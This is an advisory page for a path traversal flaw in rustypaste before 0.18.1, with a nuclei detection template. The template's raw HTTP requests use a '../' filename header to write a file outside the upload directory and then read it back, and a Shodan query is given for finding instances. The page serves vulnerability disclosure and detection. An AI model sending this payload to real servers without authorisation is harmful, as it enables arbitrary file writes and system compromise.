rustypaste < 0.18.1 - Filename Header Path Traversal

highseverity

7.5CVSS score

1.4%likelihood of exploitation, next 30 days

72%of all CVEs are less likely

Readycheck to confirm it

rustypaste before 0.18.1 contains a path traversal caused by improper validation of the custom filename HTTP header, letting attackers write files outside the upload directory.

Impact

Attackers can write files to arbitrary locations, potentially leading to system compromise or data tampering.

Fix

Update to version 0.18.1 or later.

How to confirm it

Send: POST /
Positive when: contains(body, escfile) and status_code == 200
Send: GET /{{escfile}}.txt
Positive when: contains(body, marker) and contains(content_type, "text/plain") and status_code == 200

Run it with nuclei: nuclei -id CVE-2026-90774 -u <target>

The full check

id: CVE-2026-90774

info:
  name: rustypaste < 0.18.1 - Filename Header Path Traversal
  author: carfeii
  severity: high
  description: |
    rustypaste before 0.18.1 contains a path traversal caused by improper validation of the custom filename HTTP header, letting attackers write files outside the upload directory.
  impact: |
    Attackers can write files to arbitrary locations, potentially leading to system compromise or data tampering.
  remediation: |
    Update to version 0.18.1 or later.
  reference:
    - https://github.com/orhun/rustypaste/issues/622
    - https://github.com/orhun/rustypaste/commit/ac05d552596af4a8429d80f30d11f67117ce02c8
    - https://github.com/orhun/rustypaste/blob/v0.18.0/src/paste.rs
    - https://nvd.nist.gov/vuln/detail/CVE-2026-90774
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
    cvss-score: 7.5
    cve-id: CVE-2026-90774
    epss-score: 0.01358
    epss-percentile: 0.71911
    cwe-id: CWE-22
  metadata:
    verified: true
    max-request: 2
    vendor: orhun
    product: rustypaste
    shodan-query: title:"rustypaste"
  tags: cve,cve2026,rustypaste,path-traversal,file-upload,intrusive

variables:
  marker: "{{randstr}}"
  escfile: "{{randstr}}"

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST / HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary={{randstr}}
        filename: ../{{escfile}}.txt

        --{{randstr}}
        Content-Disposition: form-data; name="protected"; filename="{{marker}}.txt"
        Content-Type: text/plain

        {{marker}}
        --{{randstr}}--

    matchers:
      - type: dsl
        dsl:
          - 'contains(body, escfile)'
          - 'status_code == 200'
        condition: and
        internal: true

  - raw:
      - |
        GET /{{escfile}}.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(body, marker)'
          - 'contains(content_type, "text/plain")'
          - 'status_code == 200'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from